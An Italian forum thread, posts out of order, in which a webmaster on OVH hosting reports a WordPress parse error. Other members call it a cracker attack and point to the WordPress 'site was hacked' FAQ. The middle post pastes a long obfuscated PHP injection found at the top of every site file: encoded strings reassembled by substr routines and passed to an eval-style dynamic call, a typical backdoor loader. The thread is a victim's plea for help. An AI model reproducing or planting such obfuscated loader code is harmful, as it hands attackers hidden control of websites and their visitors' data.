[Preliator]

Allora si, quel codice è tipico di un attacco cracker. Per prevenire in futuro chiedi nel forum ufficiale di WP.

[trez]

Si, sono riuscito a sistemare.
Ho notato che molti, se non tutti i file, erano stati "corrotti" aggiungendo all'inizio quella variabile PHP che ho indicato qui sopra; inoltre alcuni avevano anche alcune copie di righe che verso la fine erano mal duplicate.
Sono riuscito a sistemare i file vitali sostituendoli con una copia originale di WP, ma nei prossimi giorni si provvederà a ripristinare tutto.

[Preliator]

A me il sito e pagina login admin funzionano.

[trez]

Mac, io capisco ma è un problema che riscontro solo qui su server OVH.

Sposterei volentieri la discussione, ma dato che non posso chiedere supporto su un problema che riscontro solo su hosting OVH altrove, ti chiedo allora come posso evitare di sporcarti questa sezione con presunti off-topic.

C'è una sezione per chiedere supporto a riguardo?
Sai indicarmi come posso ottenere supporto senza scomodarti ad intervenire per segnalarmi l'off-topic?

Ti ringrazio in anticipo

[mac]

Ancora? Hai sbagliato forum.

Leggi anche http://codex.wordpress.org/FAQ_My_site_was_hacked

ciao

[trez]

All'inizio del file dove ho l'errore, ho trovato una strana variabile che è presente su tutti i file di WP; dopo questa variabile, i file continuano come nella norma (da considerare che wp-config.php ha questa variabile definita e tutto il resto commentato).

O il sito ha subito un attacco, o non saprei.
Di seguito la variabile:

= '25b:%x5c%x7825s:%x5c%x785c%x5c%x7825j:x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7860msvd}+;!>!}%x5c%x7827;!>fh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860m8]37]278]225]241]334]368]322]3]364]6]283]of:opjudovg<~%x5c%x7824!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x525tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#25h!>!%x5c%x7825tdz)%x5c%%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x!>!%x5c%x782400~:>%x5c%x7822:ftmbg39*56A:>:8:|:x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824!#]y%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787f!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z2f#)rrd%x5c%x782f#00;quui#>.%x5c7-K)fujs%x5c%x7878X6<]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]2qj%x5c%x78257-K)udfoopdXA5)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjc%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-x7878:<##:>:h%x5c%x7825:<#64y]51]y7d]252]y74]256#*ofmy%xSFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufsps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2x5c%x7825w6Z6<.4%x5c%x7x782fh%x5c%x7825:<**%x5c%x7860sfqmbdf)%x5c%x7825%xq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%ing(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%185c2^-%x5c%x7825hOh%x5c%x782f#00#W24*q%x5c%x78256<%x5c%x787fw6*%x5c%x763%x74%162%x5f%163%x70%154%x69#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]^Ew:Qb:Qc:W~!%x5c%x7825z!>2%x5c%x7825fdy>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%xx78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824b%x5c%0%x5c%x7825%x5c%x7878:!>#%x7825%x5c%x7824-%x5c%x78273]y72]282#!#]y84]275]y83]248]y83]252bge56+99386c6f+9f5d816:+946:ce4476]277]y72]265]y39]274]y85]273]y6g%x29%51%x29%73", NULL); }Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x78x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bdg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%xtutjyf%x5c%x7860opjudovg%x5c%x7822)66%x61%154%x28%151%x6d%160%x6c%157%x64%145%x28%14x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5cx61"])))) { $GLOBALS["%x61%156%x75%%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT~!%x5c%x7825t2w)##Qtjw)#]82#-%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5sp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c6#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x785c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x78825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x785c%x787f%x5c%x787f%x5c%x787825)s%x5c%x7825>%x5c%7f%x5c%x787f!{e%x5c%x782785cq%x5c%x7825%x5c%x7827Y%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]D7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%xpi}Y;tuofuopd%x5c%x7860u4*1<%x5c%x7825j=tj{fpg)%x5c5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)1%x72%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%1785cq%x5c%x7825%x5c%x7827jsv%x5c%x7825ZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fx7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opB#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#25%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x7x7825z>!tussfw)%x5c%x7825zW%x825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x9!%x5c%x7827!hmg%x5c%x7%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmd]273]y76]271]y7d]252]y74]256]y39]252]y83]60hA%x5c%x7827pd%x5c%x78256!tus#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%xw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)9275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5p}%x5c%x7827;mnui}&;zepc}A;~!:!>!%x5c%x78246767~6j%x5c%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;ut^%x5c%x7824-%x5c%x7824tvctus)ph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x78261]y33]68]y34]68]y33]65]y31^#zsfvr#%x5c%x785cq%x5c%x78257**^5c%x7827pd%x5c%x78256j%x5c%x7825!*5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmx7825%x5c%x7878:-!%x5c%x78])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5idsb%x5c%x7860bj+upcotn+qsvmt+fmhpc%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%xc%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x78%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]8c%x7825)7fmji%x5c%x78786>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{6]y81]265]y72]254]y7x5c%x7824<%x5c%x7825j,,*!|%x5c%x7]53]y6d]281]y43]78]y33]65]y31]55]y855c%x782fr%x5c%x7825%x427]36]373P6]36]73]83]238M7]3852]e7y]#>n%x5c%x7825<#372]585Z<^2%x5c%x785c2b%x5c%x7825!>!2p%25j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x782c%x7827,*d%x5c%x7827,*c%x5c%x7825+*!*+fepdfe{h+{d%x5c%x75c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#g!>!#]y81]273]y76]258]y6g]273]y76]2751]y35]274]y4:]82]y3:]62]y4c#%x5dy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4Pm%x5c%x7825):fmji%x5c%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x>2*!%x5c%x7825z>32%x5<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x782%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)5c%x7827!hmg%x5c%x7825)!gj!~>1*!%x5c%x7825b:%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x782565h%x5c%x7825!<*::::::-111112)eobs%x5if((function_exists("%x6f%142%x5f%c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x782c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2qx5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x561%156%x75%156%x61"]=1; function fjfgg($***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f5yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x782x7827,*e%x5c%x7827,*d%h%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~b%x5c%x7825Z<#opo#>b%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)u439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%xf]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_hnpd!opjudovg!|!**#j{hnpd#)c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c]68]y76#<%x5c%x78e%x55c%x782f#0#%x5c%x782f*#npd%x5c%x7825>j%x5c%x7825!<**3-j%x;utpI#7>%x5c%x782f7rfs%w6*CW&)7gj6<*K)ftpmdXA6~6%x5c%x782f7&6|7^Ew:Qb:Qc:W~!%x5c%x7825z!>2; $zlboxoolyh = explode(chr((255-211)),'8996,34,8196,53,6282,31,9226,40,8162,34,4509,65,4074,64,2267,57,973,26,8521,61,2236,31,9820,21,3322,45,1725,54,8875,66,3170,60,2908,46,5475,40,5343,56,9921,54,5573,70,629,51,9898,23,9188,38,8712,58,1457,47,23,64,6769,30,8311,24,4709,25,4309,63,7419,61,1934,53,5135,37,4893,52,2742,60,4406,33,3933,32,4372,34,6313,52,243,40,1879,55,5725,27,7299,42,306,65,8092,41,999,66,8610,36,8133,29,2802,42,5015,58,9386,58,9553,64,4594,70,7480,62,3004,34,9444,59,6253,29,4734,37,3230,44,3802,27,7067,49,4838,24,7167,28,1282,53,8472,49,9869,29,2445,53,8430,42,680,60,3118,52,7013,54,9757,27,8770,68,8335,58,1335,55,8393,37,7786,59,9841,28,5643,30,604,25,9364,22,6185,68,8941,55,9087,50,9266,51,371,55,3965,55,1704,21,7915,40,3691,49,7366,53,7542,70,3554,51,3097,21,9503,50,7612,58,4817,21,2689,53,2211,25,2055,64,4138,28,3487,67,3442,45,3421,21,4166,35,485,67,9617,63,1434,23,4243,66,915,58,1504,35,5399,50,5861,57,3872,61,10069,37,4945,70,2844,64,5673,52,5799,62,3654,37,6365,21,9137,51,7341,25,4439,35,9717,40,0,23,6907,36,5752,47,3740,36,6088,45,2625,64,1539,55,6486,31,2543,28,3274,48,893,22,8249,62,3061,36,4474,35,5981,54,1065,57,4664,45,6517,22,4221,22,788,46,5449,26,5296,47,6799,23,1177,36,3605,49,6732,37,7116,51,7845,70,5172,63,6678,54,6539,49,6588,23,5918,36,6386,65,7739,47,7263,36,3776,26,1594,59,426,59,2119,64,6451,35,3038,23,9784,36,5954,27,1213,69,3367,54,7670,69,2498,45,5515,27,157,56,5542,31,6035,53,1122,55,6954,59,552,52,9680,37,8646,66,1779,32,9317,47,6859,48,2954,50,4201,20,1390,44,5235,40,1811,68,10041,28,8024,68,2394,51,2324,70,740,48,2183,28,3829,43,9030,57,6822,37,5073,62,8838,37,1653,51,87,70,9975,66,834,59,7955,69,2571,54,213,30,6133,52,5275,21,4771,46,283,23,8582,28,4574,20,6611,67,7195,68,1987,68,4862,31,4020,54,6943,11'); $ejigillopd=substr($fkkyydbhgf,(57533-47427),(28-21)); if (!function_exists('sosimzlggl')) { function sosimzlggl($ulmghtkszc, $hgnmffovor) { $bwdxzfqqvu = NULL; for($dnvzzqblsh=0;$dnvzzqblsh<(sizeof($ulmghtkszc)/2);$dnvzzqblsh++) { $bwdxzfqqvu .= substr($hgnmffovor, $ulmghtkszc[($dnvzzqblsh*2)],$ulmghtkszc[($dnvzzqblsh*2)+1]); } return $bwdxzfqqvu; };} $nnmwfwndbg="\x20\57\x2a\40\x78\146\x71\161\x6c\157\x6c\151\x6b\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\64\x33\55\x31\60\x36\51\x29\54\x20\143\x68\162\x28\50\x35\61\x31\55\x34\61\x39\51\x29\54\x20\163\x6f\163\x69\155\x7a\154\x67\147\x6c\50\x24\172\x6c\142\x6f\170\x6f\157\x6c\171\x68\54\x24\146\x6b\153\x79\171\x64\142\x68\147\x66\51\x29\51\x3b\40\x2f\52\x20\163\x66\147\x6c\150\x6f\163\x77\167\x75\40\x2a\57\x20"; $uizzlwzgxe=substr($fkkyydbhgf,(37219-27106),(53-41)); $uizzlwzgxe($ejigillopd, $nnmwfwndbg, NULL); $uizzlwzgxe=$nnmwfwndbg; $uizzlwzgxe=(611-490); $fkkyydbhgf=$uizzlwzgxe-1; ?>

[trez]

E? possibile aggiornarla dal pannello di controllo di OVH?

[camaran]

forse la versione di php errata?

[trez]

Il problema mi si presenta su OVH e non in altri server, per questo l'ho postato in questa sezione.

[mac]

Sei nel forum sbagliato...

[trez]

Buongiorno a tutti,
ho un problema con un sito wordpress.
Il sito che gestisco è http://www.casadellavita.com/ ma se provate ad accedervi, vedrete l'errore seguente:

Parse error: syntax error, unexpected '=' in /home/terapie/casadellavita/wp-includes/load.php on line 779

Non riesco nemmeno ad accedere al pannello di controllo per potervi dare maggiori informazioni sulla versione e altro perché ottengo lo stesso errore.
Qualcuno ha avuto lo stesso errore in passato?
Avete suggerimenti?

Grazie a tutti!

Buona giornata